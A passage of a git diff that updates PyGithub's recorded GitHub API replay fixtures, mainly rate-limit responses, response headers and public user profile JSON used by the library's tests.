Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"82184cd6a599c0bb646629f3cbc867fb158314f97d57df6e35f0e910ed328f22"'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1617895279'), ('X-RateLimit-Used', '10'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EB4E:109E6:83D8B:8CA9B:606F12C2')] [] - diff --git a/tests/ReplayData/RateLimiting.testGetRateLimit.txt b/tests/ReplayData/RateLimiting.testGetRateLimit.txt index 3b3b0344c6..b902005eb7 100644 --- a/tests/ReplayData/RateLimiting.testGetRateLimit.txt +++ b/tests/ReplayData/RateLimiting.testGetRateLimit.txt @@ -6,6 +6,5 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Date', 'Wed, 05 Sep 2018 03:59:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4929'), ('X-RateLimit-Reset', '1536123356'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.021146'), ('Content-Encoding', 'gzip'), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', 'C8ED:54D0:B4DAB8:EF7B5E:5B8F54AE')] -{"resources":{"core":{"limit":5000,"remaining":4929,"reset":1536123356},"search":{"limit":30,"remaining":30,"reset":1536120043},"graphql":{"limit":5000,"remaining":5000,"reset":1536123583}},"rate":{"limit":5000,"remaining":4929,"reset":1536123356}} - +[('Server', 'GitHub.com'), ('Date', 'Mon, 15 May 2023 22:59:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'no-cache'), ('github-authentication-token-expiration', '2023-06-14 15:09:46 -0700'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4904'), ('X-RateLimit-Reset', '1684195041'), ('X-RateLimit-Used', '96'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CA6A:617C:4252CD4:44D5F2B:6462B949')] +{"resources":{"core":{"limit":5000,"used":96,"remaining":4904,"reset":1684195041},"search":{"limit":30,"used":0,"remaining":30,"reset":1684191621},"graphql":{"limit":5000,"used":0,"remaining":5000,"reset":1684195161},"integration_manifest":{"limit":5000,"used":0,"remaining":5000,"reset":1684195161},"source_import":{"limit":100,"used":0,"remaining":100,"reset":1684191621},"code_scanning_upload":{"limit":1000,"used":0,"remaining":1000,"reset":1684195161},"actions_runner_registration":{"limit":10000,"used":0,"remaining":10000,"reset":1684195161},"scim":{"limit":15000,"used":0,"remaining":15000,"reset":1684195161},"dependency_snapshots":{"limit":100,"used":0,"remaining":100,"reset":1684191621}},"rate":{"limit":5000,"used":96,"remaining":4904,"reset":1684195041}} diff --git a/tests/ReplayData/RateLimiting.testRateLimiting.txt b/tests/ReplayData/RateLimiting.testRateLimiting.txt index a0197b78a1..82c71c9cbb 100644 --- a/tests/ReplayData/RateLimiting.testRateLimiting.txt +++ b/tests/ReplayData/RateLimiting.testRateLimiting.txt @@ -6,17 +6,16 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Date', 'Wed, 05 Sep 2018 04:03:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4929'), ('X-RateLimit-Reset', '1536123356'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.020832'), ('Content-Encoding', 'gzip'), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', 'C91A:07E1:B39E09:EEBCC4:5B8F558C')] -{"resources":{"core":{"limit":5000,"remaining":4929,"reset":1536123356},"search":{"limit":30,"remaining":30,"reset":1536120264},"graphql":{"limit":5000,"remaining":5000,"reset":1536123804}},"rate":{"limit":5000,"remaining":4929,"reset":1536123356}} +[('Server', 'GitHub.com'), ('Date', 'Mon, 15 May 2023 22:59:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'no-cache'), ('github-authentication-token-expiration', '2023-06-14 15:09:46 -0700'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4904'), ('X-RateLimit-Reset', '1684195041'), ('X-RateLimit-Used', '96'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E2A7:0C53:962B79:9A9281:6462B949')] +{"resources":{"core":{"limit":5000,"used":96,"remaining":4904,"reset":1684195041},"search":{"limit":30,"used":0,"remaining":30,"reset":1684191622},"graphql":{"limit":5000,"used":0,"remaining":5000,"reset":1684195162},"integration_manifest":{"limit":5000,"used":0,"remaining":5000,"reset":1684195162},"source_import":{"limit":100,"used":0,"remaining":100,"reset":1684191622},"code_scanning_upload":{"limit":1000,"used":0,"remaining":1000,"reset":1684195162},"actions_runner_registration":{"limit":10000,"used":0,"remaining":10000,"reset":1684195162},"scim":{"limit":15000,"used":0,"remaining":15000,"reset":1684195162},"dependency_snapshots":{"limit":100,"used":0,"remaining":100,"reset":1684191622}},"rate":{"limit":5000,"used":96,"remaining":4904,"reset":1684195041}} https GET api.github.com None -/users/jacquev6 +/users/yurinnick {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Date', 'Wed, 05 Sep 2018 04:03:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4928'), ('X-RateLimit-Reset', '1536123356'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.020832'), ('Content-Encoding', 'gzip'), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', 'C91A:07E1:B39E09:EEBCC4:5B8F558C')] -{"resources":{"core":{"limit":5000,"remaining":4928,"reset":1536123356},"search":{"limit":30,"remaining":30,"reset":1536120264},"graphql":{"limit":5000,"remaining":5000,"reset":1536123804}},"rate":{"limit":5000,"remaining":4928,"reset":1536123356}} - +[('Server', 'GitHub.com'), ('Date', 'Mon, 15 May 2023 22:59:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7015139231122fae10cfe49e68ed43f6bcc74d3f51c95af3fb2362d09dd6fbcc"'), ('Last-Modified', 'Mon, 15 May 2023 21:51:14 GMT'), ('github-authentication-token-expiration', '2023-06-14 15:09:46 -0700'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4903'), ('X-RateLimit-Reset', '1684195041'), ('X-RateLimit-Used', '97'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B550:0DD9:769114:7A48FE:6462B94A')] +{"login":"yurinnick","id":2941035,"node_id":"MDQ6VXNlcjI5NDEwMzU=","avatar_url":"https://avatars.githubusercontent.com/u/2941035?v=4","gravatar_id":"","url":"https://api.github.com/users/yurinnick","html_url":"https://github.com/yurinnick","followers_url":"https://api.github.com/users/yurinnick/followers","following_url":"https://api.github.com/users/yurinnick/following{/other_user}","gists_url":"https://api.github.com/users/yurinnick/gists{/gist_id}","starred_url":"https://api.github.com/users/yurinnick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yurinnick/subscriptions","organizations_url":"https://api.github.com/users/yurinnick/orgs","repos_url":"https://api.github.com/users/yurinnick/repos","events_url":"https://api.github.com/users/yurinnick/events{/privacy}","received_events_url":"https://api.github.com/users/yurinnick/received_events","type":"User","site_admin":false,"name":"Nikolay Yurin","company":"@facebook","blog":"","location":"San Francisco, USA","email":"github@yurinnick.dev","hireable":true,"bio":null,"twitter_username":null,"public_repos":71,"public_gists":16,"followers":13,"following":5,"created_at":"2012-12-01T21:56:46Z","updated_at":"2023-05-15T21:51:14Z"} diff --git a/tests/ReplayData/RateLimiting.testResetTime.txt b/tests/ReplayData/RateLimiting.testResetTime.txt index 205daee604..482d66ca8c 100755 --- a/tests/ReplayData/RateLimiting.testResetTime.txt +++ b/tests/ReplayData/RateLimiting.testResetTime.txt @@ -6,6 +6,5 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Date', 'Wed, 05 Sep 2018 04:07:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4928'), ('X-RateLimit-Reset', '1536123356'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.021308'), ('Content-Encoding', 'gzip'), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', 'C949:54D0:B51EC6:EFD5CD:5B8F566D')] -{"resources":{"core":{"limit":5000,"remaining":4928,"reset":1536123356},"search":{"limit":30,"remaining":30,"reset":1536120490},"graphql":{"limit":5000,"remaining":5000,"reset":1536124030}},"rate":{"limit":5000,"remaining":4928,"reset":1536123356}} - +[('Server', 'GitHub.com'), ('Date', 'Mon, 15 May 2023 22:59:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'no-cache'), ('github-authentication-token-expiration', '2023-06-14 15:09:46 -0700'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4903'), ('X-RateLimit-Reset', '1684195041'), ('X-RateLimit-Used', '97'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AC80:35A0:8F99C17:9451DA6:6462B94A')] +{"resources":{"core":{"limit":5000,"used":97,"remaining":4903,"reset":1684195041},"search":{"limit":30,"used":0,"remaining":30,"reset":1684191622},"graphql":{"limit":5000,"used":0,"remaining":5000,"reset":1684195162},"integration_manifest":{"limit":5000,"used":0,"remaining":5000,"reset":1684195162},"source_import":{"limit":100,"used":0,"remaining":100,"reset":1684191622},"code_scanning_upload":{"limit":1000,"used":0,"remaining":1000,"reset":1684195162},"actions_runner_registration":{"limit":10000,"used":0,"remaining":10000,"reset":1684195162},"scim":{"limit":15000,"used":0,"remaining":15000,"reset":1684195162},"dependency_snapshots":{"limit":100,"used":0,"remaining":100,"reset":1684191622}},"rate":{"limit":5000,"used":97,"remaining":4903,"reset":1684195041}} diff --git a/tests/ReplayData/RawData.testCompletedObject.txt b/tests/ReplayData/RawData.testCompletedObject.txt index 0268609f77..34f3ff7c67 100644 --- a/tests/ReplayData/RawData.testCompletedObject.txt +++ b/tests/ReplayData/RawData.testCompletedObject.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 12 Mar 2013 22:13:32 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bb2632b6c4ebeb4ff568329490bfbe2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 13 Mar 2013 13:13:30 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":21,"followers":22,"following":38,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-03-12T22:13:32Z","public_gists":2,"total_private_repos":4,"owned_private_repos":4,"disk_usage":13812,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":5} - diff --git a/tests/ReplayData/RawData.testNonCompletableObject.txt b/tests/ReplayData/RawData.testNonCompletableObject.txt index 4b0db8f23b..d69b5341b3 100644 --- a/tests/ReplayData/RawData.testNonCompletableObject.txt +++ b/tests/ReplayData/RawData.testNonCompletableObject.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 12 Mar 2013 22:13:32 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bb2632b6c4ebeb4ff568329490bfbe2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 13 Mar 2013 13:13:31 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":21,"followers":22,"following":38,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-03-12T22:13:32Z","public_gists":2,"total_private_repos":4,"owned_private_repos":4,"disk_usage":13812,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":5} - diff --git a/tests/ReplayData/RawData.testNotYetCompletedObject.txt b/tests/ReplayData/RawData.testNotYetCompletedObject.txt index c572a42a13..c78fd1c910 100644 --- a/tests/ReplayData/RawData.testNotYetCompletedObject.txt +++ b/tests/ReplayData/RawData.testNotYetCompletedObject.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 12 Mar 2013 22:13:32 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bb2632b6c4ebeb4ff568329490bfbe2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 13 Mar 2013 13:13:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":21,"followers":22,"following":38,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-03-12T22:13:32Z","public_gists":2,"total_private_repos":4,"owned_private_repos":4,"disk_usage":13812,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":5} - diff --git a/tests/ReplayData/Reaction.setUp.txt b/tests/ReplayData/Reaction.setUp.txt index 0ce726ed47..8bc1758792 100644 --- a/tests/ReplayData/Reaction.setUp.txt +++ b/tests/ReplayData/Reaction.setUp.txt @@ -30,4 +30,3 @@ None 200 [('content-length', '5882'), ('x-runtime-rack', '0.087478'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"766493df833023dcca5250bca25c7ca5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC90:0DD5:E3F96:23634C:5A260380'), ('last-modified', 'Thu, 05 Oct 2017 15:30:52 GMT'), ('date', 'Tue, 05 Dec 2017 02:25:04 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512444081')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/events","html_url":"https://github.com/PyGithub/PyGithub/issues/28","id":4653757,"number":28,"title":"Issue created by PyGithub","user":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"labels":[{"id":3330121,"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/bug","name":"bug","color":"e10c02","default":true},{"id":3376821,"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true}],"state":"closed","locked":false,"assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}],"milestone":{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/8","html_url":"https://github.com/PyGithub/PyGithub/milestone/8","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/8/labels","id":150933,"number":8,"title":"Version 